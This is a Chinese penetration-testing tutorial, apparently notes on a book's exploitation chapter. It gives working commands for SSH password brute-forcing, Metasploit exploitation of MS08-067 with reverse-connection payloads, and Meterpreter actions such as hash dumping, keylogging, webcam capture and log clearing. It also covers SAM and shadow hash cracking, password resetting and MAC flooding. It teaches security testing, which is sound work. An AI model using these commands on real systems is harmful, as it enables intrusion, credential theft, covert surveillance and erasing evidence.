在线发布、提交软件

当前位置:首页 > 电脑教程 > 网络安全

渗透测试实践指南必知必会的工具与方法(第四章、漏洞利用)

时间:2016-08-03 14:40:49  来源:软件园  作者:动力软件园

1.在线密码破解器

(指与SSH或者Telnet 等“活跃服务”交互的一种攻击技术)

       ①Medusa

       命令格式:

       medusa -h target_ip -u username -Ppassword_dictionary -M target_service

       命令实例:

       medusa -h 192.168.18.132 -u user01 -P/usr/share/john/password.lst -M ssh

< -h >:指定目标主机的IP地址

< -u >:指定一个用户名

       (如果使用的是一个用户名列表,使用“< -U > username_file”)

< -p >:指定一个密码

< -P >:指定包含多个密码的列表,后面紧跟某个字典文件的路径

< -M >:指定我们想要攻击的服务(包括AFP,FTP,HTTP,IMAP,MS-SQL,MySQL,NetWareNCP,NNTP,PcAnywhere,POP3,SNMP,SSHv2,Telnet,VNC,Web Form等)

(注:Kali 的 “/usr/share/wordlists”目录下有一些现成可用的密码字典,其中包括最       为恶名昭彰的密码列表—RockYou)

       ②Hydra

2.Metasploit

①如果有机会遇到H.D.Moore或者原来Metasploi团队中的任何一名成员,记得给他买杯啤酒,跟他握手,说声谢谢:D

②Msfconsole

       A)升级命令:msfupdate

       B)一般攻击步骤:

              Ⅰ)确定攻击目标

       从Nessus的报告或者“Nmap --script vuln”的输出开始

              Ⅱ)选择漏洞攻击程序

       漏洞攻击程序:预先打包、将被发送到远程系统的代码集,这些代码将在目标系统中引发某些不正常的行为,以使我们能够执行攻击载荷

              Ⅲ)指定攻击载荷

       攻击载荷(payload):成功执行漏洞攻击之后被安装在目标系统中的附加软件或功能。

       C)攻击实例:

              searchms08-067(搜索编号为“ms08-067”的漏洞)

       -------------------------------------------------------------

       搜索结果显示匹配到的漏洞攻击程序,与该攻击程序的Rank

       例如:“exploit/windows/smb/ms08-067_netapi             great”,漏洞攻击程序

       共有七个等级1.手动(Manual)2.Low3.Average 4.Normal 5.Good6.Great 7.Excellent

       ---------------------------------------------------------------

              useexploit/windows/smb/ms08-067_netapi(使用该漏洞攻击程序)

              showpayloads(查看可用的payload)

              setpayload windows/vncinject/reverse_tcp(设置payload)

              showoptions(查看payload所有可用的选项)

              setRHOST 192.168.18.132(RHOST指远程主机(被攻击者))

              setLHOST 192.168.18.73(LHOST指本地主机(发起攻击者))

              exploit

       (VNC载荷要求目标操作系统是基于GUI的操作系统)

3.目标windows的常用payload样例

              payload名称                    功能描述

              Windows/adduser           在目标计算机上的本地管理员组创建新用户

              Windows/exec          在目标计算机上执行Windows二进制文件(.exe)

       Windows/shell_bind_tcp      

                            在目标计算机上启动一个命令行shell并等待连接

       Windows/shell_reverse_tcp

                            目标计算机连回攻击者并在目标计算机上启动一个命令行shell

       Windows/meterpreter/bind_tcp

       Windows/meterpreter/reverse_tcp

       Windows/vncinject/bind_tcp

       Windows/vncinject/reverse_tcp

       (注:“bind”正向连接,“reverse”反向连接    


4.Meterpreter

       又叫Meta-Interpreter,是Metasploit中一个可用的payload,是一个强大的命令行shell。尽可能花时间深入研究这个工具,成为Meterpreter大师。

①Meterpreter完全在内存中运行,不使用硬盘空间,从而提高了它的隐蔽性

②Meterpreter运行的权限与被攻击的程序是相关联的

③之所以用Meterpreter而不用传统的cmd和Linux下的shell,原因有

       A)在目标计算机上运行cmd和Linux的shell都会启动新的进程

       B)相比于cmd.exe和bin/sh,Meterpreter具有更强大的功能

④基本命令介绍

       a)help:显示 Meterpreter 帮助菜单

      b)background:将当前的 Meterpreter 会话转移到后台运行并且回到msf提示符,若要返回到 Meterpreter 会话,只是再一次与它交互。

            (例如返回第一个Meterpreter回话,使用“session -i 1”)

      c)cat:显示文件的内容到屏幕上

      d)clearev:清除windows系统上应用程序、 系统和安全日志

      e)download:从远程计算机上下载文件

(提供 Windows 路径时,请注意使用双正斜杠,例如:“download c:boot.ini”)

      f)upload:上传文件到远程计算机上

(例如:upload evil_trojan.exe c:windowssystem32)

      g)edit:用vim打开目标主机上的文件

      h)execute:运行/执行目标上的指定文件

(例如:“execute -f cmd.exe -i -H”在目标计算机上打开了cmd.exe)

      i)getuid:显示运行 Meterpreter 服务的目标计算机上的用户

      j)hashdump:转储 SAM 数据库的内容,即提取用户的密码散列

(密码散列:指明文密码的加密和打乱之后的版本)

      k)idletime:显示远程计算机上的用户已处于空闲状态的秒数

      l)pwd & cd:显示和更改远程计算机工作的目录

      m)lpwd & lcd:显示和更改本地计算机工作的目录

      n)ls:列出当前的远程计算机目录中的文件

      o)migrate:将服务迁移到另一个进程中(svchost.exe是个不错的选择)

      p)ps:显示在目标系统上正在运行的进程列表

      q)search -f:定位目标主机上的特定文件

      r)shell:返回一个在目标系统上的标准 shell

      s)webcam_list:将在目标主机上显示当前可用的网络摄像头

      t)webcam_snap:抓取一张来自目标系统上的连接的网络摄像头的图片,并将其作为 JPEG 图像保存

      u)getsystem:命令Meterpreter尝试将权限提升到最高级

      v)keyscan_start:开始记录目标机器上的击键

            (注意:为了捕捉击键,你必须迁移到explorer.ext进程中)

       keyscan_stop:停止记录用户击键

       keyscan_dump:显示当前从目标计算机上捕捉的击键

            (注意:必须先运行keyscan_start)

      w)kill pid_number:停止(杀死)指定进程,PID可以用ps命令找到

      x)screenshot:提供来自目标机器的屏幕截图

      y)sysinfo:提供目标机器的相关系统信息,包括计算机名、操作系统、服务包级别等

      z)mkdir、shutdown、reboot、ifconfig、rmdir、rm(英文字母用完了-_-|||)

5.John the Ripper(JtR)

(能利用密码字典进行密码破解,或者直接利用字符组合进行暴力破解)

      ①通过基准程序衡量电脑性能,基准衡量的单位是每秒的破解次数(c/s)

            cd/usr/share/john

            john--test

      ②密码破解可以作为“本地攻击”或者“远程攻击”

6.本地密码破解

      ①Windows系统将密码散列保存在一个叫做SAM(安全账户管理器)的文件里,该文件保存在“C:WindowsSystem32Config”目录下。

      ②操作系统启动后,SAM文件将同时被锁定。绕过这一保护措施的方法是启动另一个操作系统(比如Kali)

      ③进入Kali后的操作步骤

            a)挂载本地硬盘

                  mkdir /mnt/sda1_file

                  mount /dev/sda1 /mnt/sda1_file

                              设备           挂载点(mount point)

(如果不确定应该挂载哪个驱动器,使用“fdisk -l”命令,将目标系统中可用的驱动器全部列出来)

              b)cd/mnt/sda1_file/Windows/system32/config

              c)ls

              d)samdump2     system SAM > /tmp/hashes.txt

使用了名为“Samdump2”的程序,

(该程序利用本地计算机上一个叫做“system”的文件对SAM文件进行解密,幸运的是,这个“system”文件正好就跟SAM文件在同一个目录里)

该程序将解密后的结果保存到了Kali的/tmp/hashes.txt文件中

注:某些Windows系统d)步骤前需要额外的一步,为了完全暴露密码散列,需要利用“Bkhive”提取系统密匙

       bkhive system sys_key.txt

       samdump2 SAM sys_key.txt >/tmp/hash.txt

       ④原先微软使用的散列加密算法叫做Lan Manager(LM)

              A)利用LM算法生成散列时,整个密码字符都将更改为大写

              B)LM算法生成的密码都是14个字符,少于14个字符将会用null填满,大于14个字符将会被截断

       ⑤现在微软使用NTLM算法生成密码散列

       ⑥运行实例:

              john/tmp/hashes.txt --format=nt

       (“hashes.txt”是我们在前面提取的密码散列,

              <--format= >:指定了密码类型,对于NTML算法,则是“--format=nt”)

7.远程密码破解

       Meterpreter → hashdump → JtR

8.Linux系统的密码破解和权限提升

①Linux系统将加密的密码散列包含在“shadow”文件里,该文件完整路径是“/etc/shadow”

②只有特权用户才能访问“shadow”文件,解决方案是:

Linux还使用一个经过编辑的密码列表 “/etc/passwd”,这个列表一般可以被所有用户读取

利用JtR合并“/etc/shadow”和“/etc/passwd”,这一过程输出的是一个包含原始散列的列表,这个新列表可以输入John

③实例:

       unshadow /etc/passwd /etc/shadow >/tmp/linux_hashes.txt

       john /tmp/linux_hashes.txt

④少年呐!你应该花谢时间好好学习运行JtR每个参数的用法

9.密码重置

       chntpw -i /mnt/sda1_file/Windows/system32/config/SAM

       reboot(重置好密码后,重启目标机器)

       < -i >:表示以交互模式运行

10.网络嗅探

       截获并查看进出某一网络流量的过程

       ①网络模式:

              A)非混杂模式:大部分网卡都运行在该模式下,这就意味着NIC(Network Interface Card)只会传递指向本机地址的特定网络流量

              B)混杂模式:强制网卡接收流入的所有数据包

       ②为了能顺利嗅探到目的地址最初并非指向你的计算机的流量,首先必须确保你的网       卡已运行在混杂模式下

       ③收到非指向本机的流量的原因:

              a)广播流量

              b)网络使用集线器(hub)发送数据包而不是交换机(switch)

       (hub将其收到的任何数据不做任何处理直接发送给所有连接到它的物理端口的设备)

11.Macof

       ①交换机针对不同地址分别使用不同的路由信息这一设计,原本是用来提高性能的,而不是提高安全性

       ②通过耗尽交换机用于保存MAC地址和对应端口号的匹配表的内存,并用大量伪造的MAC地址对该匹配表进行泛洪攻击,就可以使交换机无法读取或者访问这个匹配表。此时根据交换机的配置不同,交换机会变成“失效开放”或者“失效关闭”模式。

              A)“失效开放”(fail open)

                     交换机简单地把流量广播到所有端口

              B)“失效关闭”(fail closed)

                     交换机简单地停止数据传送(相当于发生了一次Dos攻击)

       ③Dsniff

            A)一款用于网络审计和渗透测试的工具集,建议花时间好好研究其中每 一个工具!

            B)Dsniff中有一个工具叫Macof

            Macof:生成几千个随机MAC地址,对交换机进行泛洪

            运行实例:

            macof-i eth0 -s 192.168.18.130 -d 192.168.18.2

            <-i >:指定计算机的NIC

            <-s >:指定本地计算机地址

            <-d >:指定目标攻击对象

            (注:使用Macof会产生大量的网络流量,容易被发现)

12.Wireshark

需要花时间好好学习!

13.Armitage

      在Metasploit上运行、GUI驱动的前端程序

      ①使用实例:

            apt-getinstall armitage    (假如没安装,先安装)

            servicepostgresql start( 启动PostgreSQL服务)

(如果看到“Try setting MSF_DATABASE_CONFIG to a file that exists”的错误,则必须运行如下命令,然后启动Armitage

      service metasploit start)

      ②HailMary(最后一击)

      ③使用步骤:

            Hosts→ Quick Scan(OS detect)

            Attacks→ Find Attacks → Hail Mary

14.如何实践

      ①Metasploit培训教程“Metasploit Unleashed”

      ②使用De-ICE系列Linux引导光盘

15.接下来该做什么

①Hydra:暴力破解密码工具

            (特别注意一下定时(timing)选项)

      ②RainbowCrack:利用彩虹表对密码进行破解

            (彩虹表:预先计算好的密码散列列表)   

       ③Tcpdump:命令行工具,捕捉和查看网络流量的尚佳选择

       ④Ettercap:开展中间人攻击(man-in-the-middle attack)的绝佳武器

       ⑤学着如何读取、写入并创建你自己的漏洞攻击程序,学习漏洞利用技术可以从学习缓冲区溢出(buffer overflow)开始

       ⑥如果从Metasploit中找不到匹配的漏洞利用程序,尝试搜索“Exploit-DB”

       https://www.exploit-db.com/(漏洞利用和概念验证代码的公开知识库)

       ⑦许多漏洞攻击程序都是基于栈(stack)和堆(heap)缓冲区溢出

       ⑧建议精通脚本语言,Python和Ruby都是很好的选择